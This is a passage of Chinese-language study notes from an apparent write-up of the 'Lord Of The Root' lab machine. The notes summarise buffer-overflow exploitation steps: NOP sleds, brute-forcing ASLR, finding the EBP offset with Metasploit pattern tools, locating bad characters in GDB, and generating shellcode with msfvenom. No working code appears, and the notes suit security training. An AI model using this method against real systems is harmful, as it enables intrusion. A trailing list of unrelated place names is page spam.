---15.緩沖區(qū)溢出的shellcode利用方式:nop雪橇 》在call_adr前寫入(需要知道原ebp) 》在call_adr后面寫入(知道ESP以及是否存在jmp esp)

---16緩沖區(qū)溢出防護:代碼審查替換敏感函數(shù),局部變量前存入cookie,編譯器修改,庫函數(shù)修改,OS和硬件修改,ALSR

---17.ALSR:內(nèi)存地址產(chǎn)生隨機偏移(下面有兩張圖,雖然是ios的但是不影響)

---堆起始的地址是0x1000 0000

---經(jīng)過ALSR后產(chǎn)生了偏移,header = 0x1000 0000 +隨機偏移量(0x5000)

---本文的解決方法是:采用指定的call_adr,然后循環(huán)執(zhí)行,總會爆破到隨機的偏移)

---18.ebp的偏移量的獲取:模式字符串pattern_create.rb獲取ebp的值,pattern_offset.rb根據(jù)模式字符串的值確定ebp的偏移量

---19.在GDB中遍歷\x00-\xff爆破壞字符,通過查看esp開始的內(nèi)存,確定壞字符

---20.shellcode的獲取:gdb-peda插件shellcode generate(很可能存在壞字符),msfvenom生成shellcode(可以剔除壞字符)


項目六:Lord Of The Root-1.0.1(下)的評論 (共 條)

分享到微博請遵守國家法律
石狮市| 连云港市| 铁力市| 甘谷县| 新宁县| 凉山| 永城市| 出国| 金华市| 镇原县| 鞍山市| 乳山市| 永平县| 大宁县| 山东省| 普宁市| 水富县| 理塘县| 定结县| 镇巴县| 改则县| 聂拉木县| 武宣县| 南澳县| 成武县| 茂名市| 嘉祥县| 安平县| 安龙县| 阿尔山市| 寻乌县| 墨脱县| 加查县| 五常市| 大荔县| 长宁区| 雷山县| 河西区| 无为县| 广汉市| 榆林市|